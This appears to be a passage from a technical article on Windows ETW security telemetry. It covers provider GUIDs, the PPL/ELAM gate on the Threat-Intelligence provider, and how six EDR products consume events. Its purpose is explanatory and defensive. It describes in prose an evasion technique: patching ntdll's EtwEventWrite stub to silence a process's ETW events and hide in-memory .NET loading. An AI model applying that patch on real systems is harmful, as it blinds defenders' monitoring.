A COM interface exposed by Windows since 2015 that script engines and runtime hosts can call into to submit content for malware scanning. The Microsoft Learn AMSI portal lists PowerShell, JScript and VBScript via Windows Script Host, Office VBA macros, and User Account Control as in-box integrators [@ms-amsi-portal]; the .NET CLR&apos;s assembly load path joined the list with .NET Framework 4.8, as documented in Adam Chester&apos;s CLR walk-through [@xpn-hiding-dotnet]. The scanned content is the post-deobfuscation form -- the actual code about to execute, not the obfuscated wrapper. Scan results surface via the `Microsoft-Antimalware-Scan-Interface` ETW provider.
&lt;p&gt;The AMSI Operational event log channel typically appears empty by default. The Palantir taxonomy [@palantir-tampering-wayback] [@palantir-tampering-wayback] notes the keyword bitmask configured for the channel does not surface scan-result events. The events fire on the ETW bus and can be consumed in real time, but they do not land in the user-visible evtx log unless the consumer reconfigures the keyword mask.&lt;/p&gt;
&lt;h3&gt;&lt;code&gt;Microsoft-Windows-PowerShell&lt;/code&gt;&lt;/h3&gt;
&lt;p&gt;GUID &lt;code&gt;{a0c1853b-5c40-4b15-8766-3cf1c58f985a}&lt;/code&gt;. Event ID 4104 is the script-block-logging event that records each PowerShell script block before execution; event ID 4103 records pipeline execution detail; event ID 4100 records errors. The Microsoft Learn &lt;code&gt;about_Logging_Windows&lt;/code&gt; reference (Windows PowerShell 5.1) [@ms-powershell-logging] [@ms-powershell-logging] documents EID 4104 verbatim (&quot;&lt;code&gt;EventId 4104 / 0x1008&lt;/code&gt; ... &lt;code&gt;Channel Operational&lt;/code&gt; ... &lt;code&gt;Task CommandStart&lt;/code&gt;&quot;) and the script-block-logging configuration. PowerShell Core 7+ uses a separate ETW provider (&lt;code&gt;PowerShellCore&lt;/code&gt;, GUID &lt;code&gt;{f90714a8-5509-434a-bf6d-b1624c8a19a2}&lt;/code&gt;). Combined with AMSI the two providers give an EDR the executed PowerShell content twice: once at AMSI submission, once at script-block logging. Detection engineers use both as cross-checks.&lt;/p&gt;
&lt;h3&gt;&lt;code&gt;Microsoft-Windows-DotNETRuntime&lt;/code&gt;&lt;/h3&gt;
&lt;p&gt;GUID &lt;code&gt;{e13c0d23-ccbc-4e12-931b-d9cc2eee27e4}&lt;/code&gt;, verbatim in Adam Chester&apos;s PoC source [@xpn-hiding-dotnet] [@xpn-hiding-dotnet]. The .NET CLR provider. Surfaces assembly load events, JIT compilation, AppDomain creation, exception throws. Critical for detecting Cobalt Strike&apos;s &lt;code&gt;execute-assembly&lt;/code&gt; style of in-memory .NET payload loading. This is the provider that goes dark in the section 1 hook scene after the operator&apos;s &lt;code&gt;EtwEventWrite&lt;/code&gt; patch.This is the provider Adam Chester targeted in the canonical March 17, 2020 ETW patching post [@xpn-hiding-dotnet]. The Cobalt Strike &lt;code&gt;execute-assembly&lt;/code&gt; workflow produces a loud signal here -- &quot;assembly X loaded into PID Y from in-memory source Z&quot; -- so silencing it locally was a valuable evasion. The story comes back in section 11.&lt;/p&gt;
&lt;h3&gt;&lt;code&gt;Microsoft-Windows-Sysmon&lt;/code&gt;&lt;/h3&gt;
&lt;p&gt;GUID &lt;code&gt;{5770385F-C22A-43E0-BF4C-06F5698FFBD9}&lt;/code&gt;, surfaced by &lt;code&gt;wevtutil gp Microsoft-Windows-Sysmon&lt;/code&gt; and inventoried in [@gh-jdu2600]; the Microsoft Learn Sysmon page by Russinovich and Garnier [@ms-sysmon] [@ms-sysmon] documents authorship, the protected-process status, and the &lt;code&gt;Microsoft-Windows-Sysmon/Operational&lt;/code&gt; channel. This is the &lt;em&gt;publishing&lt;/em&gt; side of Sysmon. Sysmon&apos;s kernel driver &lt;code&gt;SysmonDrv.sys&lt;/code&gt; collects events through &lt;code&gt;PsSetCreateProcessNotifyRoutineEx&lt;/code&gt; and friends; the user-mode service then republishes via this ETW provider so any consumer (a SIEM forwarder, a SOC dashboard, a custom analytic) can subscribe without writing its own kernel driver. Events also land in the &lt;code&gt;Microsoft-Windows-Sysmon/Operational&lt;/code&gt; evtx channel.&lt;/p&gt;
&lt;h3&gt;&lt;code&gt;Microsoft-Windows-Threat-Intelligence&lt;/code&gt; (EtwTi)&lt;/h3&gt;
&lt;p&gt;GUID &lt;code&gt;{f4e1897c-bb5d-5668-f1d8-040f4d8dd344}&lt;/code&gt;, verbatim in the fluxsec.red walkthrough [@fluxsec-eti] [@fluxsec-eti]. The only ETW source in the catalogue that fires from inside the kernel for memory-modifying syscalls. Ten task IDs, all prefixed &lt;code&gt;KERNEL_THREATINT_TASK_&lt;/code&gt;:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;ALLOCVM&lt;/code&gt; (&lt;code&gt;NtAllocateVirtualMemory&lt;/code&gt; -- local and cross-process)&lt;/li&gt;
&lt;li&gt;&lt;code&gt;PROTECTVM&lt;/code&gt; (&lt;code&gt;NtProtectVirtualMemory&lt;/code&gt;)&lt;/li&gt;
&lt;li&gt;&lt;code&gt;MAPVIEW&lt;/code&gt; (section mapping; cross-process and self)&lt;/li&gt;
&lt;li&gt;&lt;code&gt;QUEUEUSERAPC&lt;/code&gt; (&lt;code&gt;NtQueueApcThread&lt;/code&gt; cross-process)&lt;/li&gt;
&lt;li&gt;&lt;code&gt;SETTHREADCONTEXT&lt;/code&gt; (&lt;code&gt;NtSetContextThread&lt;/code&gt; cross-process)&lt;/li&gt;
&lt;li&gt;&lt;code&gt;READVM&lt;/code&gt; (&lt;code&gt;NtReadVirtualMemory&lt;/code&gt; -- local and cross-process)&lt;/li&gt;
&lt;li&gt;&lt;code&gt;WRITEVM&lt;/code&gt; (&lt;code&gt;NtWriteVirtualMemory&lt;/code&gt; -- local and cross-process)&lt;/li&gt;
&lt;li&gt;&lt;code&gt;SUSPENDRESUME_THREAD&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;SUSPENDRESUME_PROCESS&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;DRIVER_DEVICE&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Each task pairs with a 64-bit keyword bitmask that distinguishes &lt;code&gt;LOCAL&lt;/code&gt; vs &lt;code&gt;REMOTE&lt;/code&gt; (cross-process) and &lt;code&gt;KERNEL_CALLER&lt;/code&gt; vs not. The Elastic Security Labs walkthrough [@elastic-doubling-down] [@elastic-doubling-down] lists the named Win32/Nt syscalls that surface here:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&quot;The most notable addition to this visibility is the Microsoft-Windows-Threat-Intelligence Event Tracing for Windows (ETW) provider ... VirtualAlloc, VirtualProtect, MapViewOfFile, VirtualAllocEx, VirtualProtectEx, MapViewOfFile2, QueueUserAPC, SetThreadContext, WriteProcessMemory, ReadProcessMemory(lsass)&quot; -- Elastic Security Labs [@elastic-doubling-down] [@elastic-doubling-down]&lt;/p&gt;
&lt;/blockquote&gt;

The kernel-emitted ETW provider for memory-modifying syscalls. GUID `{f4e1897c-bb5d-5668-f1d8-040f4d8dd344}`. Events are emitted from the kernel side of the syscall path (not from a user-mode trampoline), which makes the provider unreachable from a user-mode patcher in the calling process. Consumption is gated behind Protected Process Light at the Antimalware signer level, paired with an Early Launch Antimalware driver. The provider first shipped in the Windows 10 RS-era; the precise build is not stated verbatim in any Microsoft primary located, with community references converging on no later than 1709.
&lt;p&gt;The first-ship-build is hedged: the provider GUID and task inventory are well-documented in third-party reverse-engineering primaries, but no Microsoft primary located in the source verification stage pins the exact build. The community reference range is Windows 10 1607 (RS1) through 1709 (RS3). The dispositive practical evidence is Yarden Shafir&apos;s 2023 Trail of Bits walkthrough [@trailofbits-shafir] [@trailofbits-shafir], which shows live-debugger output of &lt;code&gt;CSFalconService.exe&lt;/code&gt; (CrowdStrike) holding &lt;code&gt;EtwConsumer&lt;/code&gt; handles to multiple logger IDs simultaneously. By 2023 third-party EDRs were demonstrably consuming EtwTi at scale.&lt;/p&gt;
&lt;h3&gt;The catalogue as a single screen&lt;/h3&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Provider name&lt;/th&gt;
&lt;th&gt;GUID&lt;/th&gt;
&lt;th&gt;Surface&lt;/th&gt;
&lt;th&gt;Gate&lt;/th&gt;
&lt;th&gt;Primary source&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;&lt;tr&gt;
&lt;td&gt;Microsoft-Windows-Security-Auditing&lt;/td&gt;
&lt;td&gt;&lt;code&gt;{54849625-5478-4994-A5BA-3E3B0328C30D}&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Audit-policy events (4624/4625/4688/...)&lt;/td&gt;
&lt;td&gt;None (Local Security Policy)&lt;/td&gt;
&lt;td&gt;[@ms-event-4624]&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Microsoft-Windows-Kernel-Process&lt;/td&gt;
&lt;td&gt;&lt;code&gt;{22fb2cd6-0e7b-422b-a0c7-2fad1fd0e716}&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Process / thread / image-load events&lt;/td&gt;
&lt;td&gt;None (admin)&lt;/td&gt;
&lt;td&gt;[@fireeye-silketw-launch], [@gh-jdu2600]&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Microsoft-Windows-Kernel-File&lt;/td&gt;
&lt;td&gt;(manifest archive)&lt;/td&gt;
&lt;td&gt;File I/O syscalls&lt;/td&gt;
&lt;td&gt;None (admin)&lt;/td&gt;
&lt;td&gt;[@gh-jdu2600], [@gh-repnz]&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Microsoft-Windows-Kernel-Network&lt;/td&gt;
&lt;td&gt;(manifest archive)&lt;/td&gt;
&lt;td&gt;TCP/UDP send/receive&lt;/td&gt;
&lt;td&gt;None (admin)&lt;/td&gt;
&lt;td&gt;[@gh-jdu2600], [@gh-repnz]&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Microsoft-Windows-Kernel-Registry&lt;/td&gt;
&lt;td&gt;(manifest archive)&lt;/td&gt;
&lt;td&gt;Registry create/open/set/delete&lt;/td&gt;
&lt;td&gt;None (admin)&lt;/td&gt;
&lt;td&gt;[@gh-jdu2600], [@gh-repnz]&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Microsoft-Antimalware-Scan-Interface&lt;/td&gt;
&lt;td&gt;&lt;code&gt;{2A576B87-09A7-520E-C21A-4942F0271D67}&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Post-deobfuscation script content&lt;/td&gt;
&lt;td&gt;None (admin)&lt;/td&gt;
&lt;td&gt;[@ms-amsi-portal], [@palantir-tampering-wayback]&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Microsoft-Windows-PowerShell&lt;/td&gt;
&lt;td&gt;&lt;code&gt;{a0c1853b-5c40-4b15-8766-3cf1c58f985a}&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Script-block logging (4104), pipeline&lt;/td&gt;
&lt;td&gt;None (admin)&lt;/td&gt;
&lt;td&gt;[@gh-jdu2600]&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Microsoft-Windows-DotNETRuntime&lt;/td&gt;
&lt;td&gt;&lt;code&gt;{e13c0d23-ccbc-4e12-931b-d9cc2eee27e4}&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;CLR assembly load, JIT, exceptions&lt;/td&gt;
&lt;td&gt;None (admin)&lt;/td&gt;
&lt;td&gt;[@xpn-hiding-dotnet]&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Microsoft-Windows-Sysmon&lt;/td&gt;
&lt;td&gt;&lt;code&gt;{5770385F-C22A-43E0-BF4C-06F5698FFBD9}&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Sysmon driver re-publication&lt;/td&gt;
&lt;td&gt;None (admin)&lt;/td&gt;
&lt;td&gt;[@gh-jdu2600], [@ms-sysmon]&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Microsoft-Windows-Threat-Intelligence&lt;/td&gt;
&lt;td&gt;&lt;code&gt;{f4e1897c-bb5d-5668-f1d8-040f4d8dd344}&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Memory-modifying syscalls (kernel-emitted)&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;PPL + ELAM (Antimalware signer level)&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;[@fluxsec-eti], [@elastic-doubling-down]&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;

This is the *security* catalogue. The full Windows manifest-based provider list is roughly 1,300 entries on a current Windows 11 build; performance-tuning, diagnostic, and developer-facing providers fill out the rest. The jdu2600 inventory [@gh-jdu2600] [@gh-jdu2600] tracks the full list across Win10 versions; the repnz archive [@gh-repnz] [@gh-repnz] preserves byte-stable manifest copies for cross-version diffing.
&lt;p&gt;Nine of the ten rows in that table are accessible to any SYSTEM-privileged user-mode service. The tenth -- EtwTi -- requires a passport. The next section is about who issues the passport.&lt;/p&gt;
&lt;h2&gt;9. The PPL / ELAM gate: why EtwTi is not for everyone&lt;/h2&gt;
&lt;p&gt;To consume the one ETW provider that fires from the kernel for memory-modifying syscalls, your service must be (a) a Protected Process Light [@paragmali-com-app-ide], (b) signed at the Antimalware signer level with EKU &lt;code&gt;1.3.6.1.4.1.311.61.4.1&lt;/code&gt;, and (c) loaded from disk by an Early Launch Antimalware [@paragmali-com-to-userini] driver registered at boot. Two of those three were not possible for third parties until the Windows 10 RS-era.&lt;/p&gt;
&lt;p&gt;fluxsec.red [@fluxsec-eti] [@fluxsec-eti] gives the prerequisite list verbatim:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&quot;In order to start receiving ETW:TI signals, we need: 1. A service running as Protected Process Light, 2. An Early Launch Antimalware driver and certificate, 3. A logging mechanism.&quot; -- [@fluxsec-eti]&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Each prerequisite has a story.&lt;/p&gt;
&lt;h3&gt;Protected Process Light at the Antimalware signer level&lt;/h3&gt;
&lt;p&gt;Windows 8.1 introduced the &lt;em&gt;protected service&lt;/em&gt; concept specifically for antimalware engines. The motivation was simple: a malicious process running as administrator should not be able to inject code into the antimalware service or attach a debugger to it. The Microsoft Learn primary [@ms-protect-am] [@ms-protect-am] sets out the model:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&quot;Windows 8.1 introduced a new concept of protected services to protect anti-malware services... In addition to the existing ELAM driver certification requirements, the driver must have an embedded resource section containing the information of the certificates used to sign the user mode service binaries.&quot; -- [@ms-protect-am]&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;PPL is a process-protection level. A given process has a level on the PPL lattice; another process can open it for write or debug only if the requesting process&apos;s level is greater than or equal to the target&apos;s. Antimalware-PPL is a &lt;em&gt;signer level&lt;/em&gt; on that lattice. The kernel admits a process to Antimalware-PPL when its image is signed with a certificate whose EKU includes &lt;code&gt;1.3.6.1.4.1.311.61.4.1&lt;/code&gt; (Windows Antimalware) &lt;em&gt;and&lt;/em&gt; whose certificate is enrolled in an ELAM driver&apos;s allow-list at boot.&lt;/p&gt;

A Windows process-protection model. Each process has a PPL level; another process may open it for write or debug only if the requestor is at an equal or higher level. Originally introduced for DRM, the lattice was extended in Windows 8.1 to host the Antimalware signer level for protecting antimalware services from administrative-rights attackers.

A specific signer level on the PPL lattice. Reserved in Windows 8.1 for Microsoft Defender; opened to third-party EDR vendors via ELAM onboarding in the Windows 10 RS-era. Consumption of the `Microsoft-Windows-Threat-Intelligence` ETW provider is gated at the Antimalware signer level: an `EnableTraceEx2` call from a non-Antimalware-PPL caller against the EtwTi GUID returns `ERROR_ACCESS_DENIED` (the `EnableTraceEx2` [@ms-enabletraceex2] [@ms-enabletraceex2] page documents the error code for callers that lack the documented administrative groups; the per-provider PPL-signer-level check that triggers it for the EtwTi GUID specifically is described in the [@fluxsec-eti] prerequisite list).
&lt;h3&gt;Early Launch Antimalware&lt;/h3&gt;
&lt;p&gt;ELAM is a driver class that loads before any other non-Microsoft boot driver. The Microsoft Learn primary [@ms-elam] [@ms-elam] describes it:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&quot;Because an ELAM service runs as a PPL (Protected Process Light), you need to debug using a kernel debugger... AM drivers are initialized first and allowed to control the initialization of subsequent boot drivers, potentially not initializing unknown boot drivers.&quot; -- [@ms-elam]&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;The boot sequence runs like this. Winload loads the ELAM driver as part of the early-boot path. The ELAM driver registers a callback via &lt;code&gt;IoRegisterBootDriverCallback&lt;/code&gt; and gets to inspect each subsequent boot driver, returning a verdict (initialize / do not initialize / unknown) based on the certificate inventory it carries in its embedded resource section. The kernel honours that verdict. After boot drivers settle, the SCM launches the paired user-mode antimalware service with the &lt;code&gt;LaunchProtected = SERVICE_LAUNCH_PROTECTED_ANTIMALWARE_LIGHT&lt;/code&gt; flag, and the kernel admits that service to Antimalware-PPL because its signing certificate matches an entry in the ELAM driver&apos;s allow-list.&lt;/p&gt;

A driver class that loads before any non-Microsoft boot driver. The ELAM driver registers a boot-driver callback to inspect subsequent drivers and an embedded-resource certificate inventory of permitted user-mode antimalware service signatures. Together with PPL, ELAM gates which user-mode antimalware services can pass the Antimalware-PPL admission check.
&lt;h3&gt;The 1709 onboarding&lt;/h3&gt;
&lt;p&gt;Microsoft Defender&apos;s &lt;code&gt;MsMpEng.exe&lt;/code&gt; ran at the Antimalware signer level by default starting around the Windows 10 1709 timeframe (October 17, 2017), and the same release is widely cited in EDR-vendor documentation as the moment the Antimalware-PPL onboarding was extended to third-party EDR vendors. The Microsoft primary that pins the 1709 third-party onboarding date is not in the public ETW documentation; we treat the date as widely-cited rather than verified.&lt;/p&gt;
&lt;p&gt;The dispositive practical evidence is the Trail of Bits 2023 walkthrough by Yarden Shafir [@trailofbits-shafir] [@trailofbits-shafir]. Shafir&apos;s WinDbg JS scripts walk the live &lt;code&gt;_ETW_REALTIME_CONSUMER&lt;/code&gt; data structures of a running Windows host and print:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&quot;Process CSFalconService.exe with ID 0x1e54 has handle 0x760 to Logger ID 3&quot; -- [@trailofbits-shafir]&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;That is CrowdStrike&apos;s user-mode service, holding a real-time consumer handle to an EtwTi logger session. By 2023 the third-party Antimalware-PPL story is operationally complete.&lt;/p&gt;

sequenceDiagram
    participant BL as Winload (boot)
    participant EL as ELAM Driver
    participant SCM as Service Control Manager
    participant SVC as EDR Service
    participant K as Kernel ETW
    BL-&amp;gt;&amp;gt;EL: Load ELAM driver (early boot)
    EL-&amp;gt;&amp;gt;EL: Register IoRegisterBootDriverCallback then read embedded cert inventory
    Note over EL: ELAM gates subsequent boot drivers
    SCM-&amp;gt;&amp;gt;SVC: Start EDR service with PROTECTED_ANTIMALWARE_LIGHT flag
    K-&amp;gt;&amp;gt;SVC: Verify signature against ELAM allow-list
    K--&amp;gt;&amp;gt;SVC: Admit to Antimalware-PPL
    SVC-&amp;gt;&amp;gt;K: EnableTraceEx2(session, EtwTi GUID, ...)
    K-&amp;gt;&amp;gt;K: Check caller signer level ge Antimalware
    K--&amp;gt;&amp;gt;SVC: SUCCESS
    Note over SVC,K: Non-PPL caller would receive ERROR_ACCESS_DENIED here
&lt;h3&gt;Why this gate matters for the section 1 hook&lt;/h3&gt;
&lt;p&gt;The asymmetry that defines the entire generation is one sentence in the fluxsec.red walkthrough [@fluxsec-eti] [@fluxsec-eti]:&lt;/p&gt;

We cannot patch out the Threat Intelligence provider as this is emitted from within the kernel itself. To do so, you&apos;d require kernelmode execution and then to patch out those signals so no ETW signals are emitted. -- [@fluxsec-eti]
&lt;p&gt;That is the answer to the puzzle the section 1 hook posed. The Adam Chester 2020 patch operates on a user-mode trampoline in the calling process. &lt;code&gt;ntdll!EtwEventWrite&lt;/code&gt; is a stub that calls down through &lt;code&gt;NtTraceEvent&lt;/code&gt; into the kernel; rewriting its first byte to &lt;code&gt;0xC3&lt;/code&gt; short-circuits the user-mode entry path and the calling process emits no events through that stub. But EtwTi does not fire from the user-mode entry path. EtwTi fires from inside the kernel implementation of &lt;code&gt;NtAllocateVirtualMemory&lt;/code&gt; and friends, after the syscall has crossed the boundary, on a path the user-mode patcher cannot reach without first achieving kernel execution.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Key idea:&lt;/strong&gt; EtwTi is the only ETW provider in the catalogue whose producer fires from the kernel side of the syscall path -- and that is exactly why a user-mode patch in the calling process cannot silence it. The PPL+ELAM gate that controls &lt;em&gt;consumer&lt;/em&gt; admission is paired with a &lt;em&gt;producer&lt;/em&gt; location that no in-process attacker can reach.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;The 2017 PPL+ELAM gate was a deliberate structural defense against the patch class that was only fully publicised three years later. By the time Chester wrote his March 2020 post, the load-bearing security signal was already structurally out of reach of his technique.&lt;/p&gt;

The combination of PPL and ELAM is not an arbitrary defense-in-depth stack. PPL gates *consumer identity* at signer level: only a binary signed with the Antimalware EKU and enrolled in an ELAM allow-list can subscribe. ELAM gates *load order*: the gate is set during early boot, before any code an attacker could load gets a chance to interfere. The signer-level check is hard because forging the signature requires breaking Microsoft&apos;s PKI; the load-order check is hard because subverting it requires compromising the boot path, which Secure Boot and the Vulnerable Driver Blocklist exist to defend.
&lt;p&gt;That is the gate. Now we walk the consumers that pass through it.&lt;/p&gt;
&lt;h2&gt;10. Six vendors, three spectra: a map of the EDR consumer architecture&lt;/h2&gt;
&lt;p&gt;Defender, CrowdStrike, SentinelOne, Sysmon, Wazuh, Elastic Defend. They look interchangeable on a vendor comparison sheet. They are not, and the differences are entirely about which substrates each one consumes.&lt;/p&gt;
&lt;p&gt;There are three axes that distinguish them.&lt;/p&gt;
&lt;h3&gt;Axis 1: kernel callbacks vs ETW&lt;/h3&gt;
&lt;p&gt;Some EDRs consume process-creation events through ETW (subscribing to &lt;code&gt;Microsoft-Windows-Kernel-Process&lt;/code&gt; from a SYSTEM-privileged user-mode service). Others register kernel callbacks directly through &lt;code&gt;PsSetCreateProcessNotifyRoutineEx&lt;/code&gt; [@ms-pssetprocnotify] [@ms-pssetprocnotify] and &lt;code&gt;PsSetCreateThreadNotifyRoutine&lt;/code&gt; [@ms-pssetthreadnotify] [@ms-pssetthreadnotify] from a kernel driver they ship.&lt;/p&gt;
&lt;p&gt;The trade-off is sharp. Kernel callbacks are synchronous: the kernel calls into the driver before the operation completes, the driver runs at PASSIVE_LEVEL in the originating thread context with normal kernel APCs disabled, and the driver can deny the operation by writing a non-success status to &lt;code&gt;CreationStatus&lt;/code&gt;. ETW is asynchronous: the event is emitted from the producer&apos;s hot path, drained from a per-CPU buffer by the writer thread, and delivered to the consumer&apos;s callback at some later point. ETW cannot deny anything; it can only observe.&lt;/p&gt;

The `PsSetCreate*NotifyRoutine` family of kernel APIs. A driver calls `PsSetCreateProcessNotifyRoutineEx` (process create/exit), `PsSetCreateThreadNotifyRoutine` (thread create/exit), or `PsSetLoadImageNotifyRoutine` (image load) at boot to register a callback. The kernel invokes the callback synchronously, in the originating thread context at PASSIVE_LEVEL with normal kernel APCs disabled. The `Ex` variant of the process callback receives a `CreationStatus` field the driver can write to deny the operation.
&lt;p&gt;CrowdStrike, SentinelOne, Sysmon, and Elastic Defend ship kernel drivers and use callbacks for the latency-critical hot path. Defender uses both -- callbacks from &lt;code&gt;WdFilter.sys&lt;/code&gt; and ETW consumption from &lt;code&gt;MsMpEng.exe&lt;/code&gt; -- because as the in-box engine it has the institutional position to do so. Wazuh ships no kernel driver; it consumes ETW exclusively via SilkETW-class wrappers, which makes it less invasive but unable to deny.&lt;/p&gt;
&lt;h3&gt;Axis 2: PPL adoption&lt;/h3&gt;
&lt;p&gt;Defender (&lt;code&gt;MsMpEng.exe&lt;/code&gt; and &lt;code&gt;MsMpEngCP.exe&lt;/code&gt;) runs at Antimalware-PPL by default. CrowdStrike&apos;s &lt;code&gt;CSFalconService.exe&lt;/code&gt; runs at Antimalware-PPL, demonstrably [@trailofbits-shafir] [@trailofbits-shafir]. SentinelOne&apos;s &lt;code&gt;SentinelAgent.exe&lt;/code&gt; is widely reported to run at Antimalware-PPL via vendor documentation, although it does not appear in the Trail of Bits sample debugger output. Sysmon runs as a &lt;em&gt;protected process&lt;/em&gt; but not at the Antimalware signer level [@ms-sysmon] [@ms-sysmon] -- the Microsoft Learn page states &quot;The service runs as a protected process, thus disallowing a wide range of user mode interactions&quot; without naming Antimalware specifically.&lt;/p&gt;
&lt;p&gt;Wazuh and Elastic Defend&apos;s user-mode services run as standard SYSTEM-privileged services without PPL.&lt;/p&gt;
&lt;h3&gt;Axis 3: EtwTi consumption&lt;/h3&gt;
&lt;p&gt;This axis is determined by axis 2. Defender consumes EtwTi by design -- it is the in-box reason EtwTi exists. CrowdStrike and SentinelOne consume EtwTi (the Trail of Bits debugger output is the practical demonstration). Sysmon does not consume EtwTi: it is not Antimalware-PPL, so its &lt;code&gt;EnableTraceEx2&lt;/code&gt; calls against the EtwTi GUID would receive &lt;code&gt;ERROR_ACCESS_DENIED&lt;/code&gt;. Sysmon relies on its own &lt;code&gt;SysmonDrv.sys&lt;/code&gt; callbacks for the in-memory threat surface that EtwTi covers for the others. Wazuh and Elastic Defend do not consume EtwTi for the same reason; Elastic Defend ships its own kernel driver to compensate [@elastic-doubling-down] [@elastic-doubling-down], using Microsoft-blessed kernel-callback paths for memory events.&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Vendor&lt;/th&gt;
&lt;th&gt;Process surface&lt;/th&gt;
&lt;th&gt;PPL level&lt;/th&gt;
&lt;th&gt;EtwTi?&lt;/th&gt;
&lt;th&gt;Primary source&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;&lt;tr&gt;
&lt;td&gt;Microsoft Defender&lt;/td&gt;
&lt;td&gt;Driver callbacks (&lt;code&gt;WdFilter.sys&lt;/code&gt;) + ETW (&lt;code&gt;MsMpEng.exe&lt;/code&gt;)&lt;/td&gt;
&lt;td&gt;Antimalware-PPL&lt;/td&gt;
&lt;td&gt;Yes&lt;/td&gt;
&lt;td&gt;[@ms-protect-am]&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;CrowdStrike Falcon&lt;/td&gt;
&lt;td&gt;Driver callbacks + ETW&lt;/td&gt;
&lt;td&gt;Antimalware-PPL&lt;/td&gt;
&lt;td&gt;Yes ([@trailofbits-shafir] live evidence)&lt;/td&gt;
&lt;td&gt;[@trailofbits-shafir]&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;SentinelOne&lt;/td&gt;
&lt;td&gt;Driver callbacks + ETW&lt;/td&gt;
&lt;td&gt;Antimalware-PPL&lt;/td&gt;
&lt;td&gt;Widely reported&lt;/td&gt;
&lt;td&gt;-- (vendor docs; SentinelAgent.exe not in [@trailofbits-shafir] sample)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Sysmon&lt;/td&gt;
&lt;td&gt;&lt;code&gt;SysmonDrv.sys&lt;/code&gt; callbacks; publishes via own ETW provider&lt;/td&gt;
&lt;td&gt;Protected (not Antimalware)&lt;/td&gt;
&lt;td&gt;No&lt;/td&gt;
&lt;td&gt;[@ms-sysmon]&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Wazuh&lt;/td&gt;
&lt;td&gt;ETW only (SilkETW-class)&lt;/td&gt;
&lt;td&gt;Standard SYSTEM&lt;/td&gt;
&lt;td&gt;No&lt;/td&gt;
&lt;td&gt;--&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Elastic Defend&lt;/td&gt;
&lt;td&gt;Own kernel driver + ETW&lt;/td&gt;
&lt;td&gt;Standard SYSTEM&lt;/td&gt;
&lt;td&gt;No&lt;/td&gt;
&lt;td&gt;[@elastic-doubling-down]&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;
&lt;p&gt;Sysmon is worth singling out as the canonical &lt;em&gt;callback-then-publish&lt;/em&gt; reference architecture. Its kernel driver registers &lt;code&gt;PsSetCreate*NotifyRoutine&lt;/code&gt; callbacks; its user-mode service consumes the events the driver delivers; and the service then publishes them via its own &lt;code&gt;Microsoft-Windows-Sysmon&lt;/code&gt; ETW provider for any downstream consumer (a SIEM forwarder, a SOC dashboard, a custom analytic) to read. The result is that Sysmon&apos;s events are universally consumable -- which is why Wazuh and Splunk both ship Sysmon configurations as their default kernel-event source.&lt;/p&gt;

Sysmon&apos;s design choice is the reference architecture for the callback-then-publish pattern, even though Sysmon is not itself an Antimalware-PPL EDR. By publishing through its own ETW provider rather than writing to a private channel, Sysmon makes its events consumable by any downstream pipeline. Wazuh and the Splunk Universal Forwarder can both ingest Sysmon events without any custom integration work. This is why Sysmon, despite being free, is the de facto kernel-event source for the open-source SIEM world.

flowchart LR
    K[Kernel callbacks&lt;br /&gt;synchronous, can deny] --- L1[Sysmon driver]
    K --- L2[CrowdStrike driver]
    K --- L3[SentinelOne driver]
    K --- L4[Elastic driver]
    K --- L5[Defender WdFilter.sys]
    M[ETW providers&lt;br /&gt;asynchronous, observe-only&lt;br /&gt;up to 8 consumers per provider] --- M1[Defender MsMpEng]
    M --- M2[CrowdStrike service]
    M --- M3[SentinelOne service]
    M --- M4[Sysmon service]
    M --- M5[Wazuh ETW reader]
    M --- M6[Elastic Defend service]
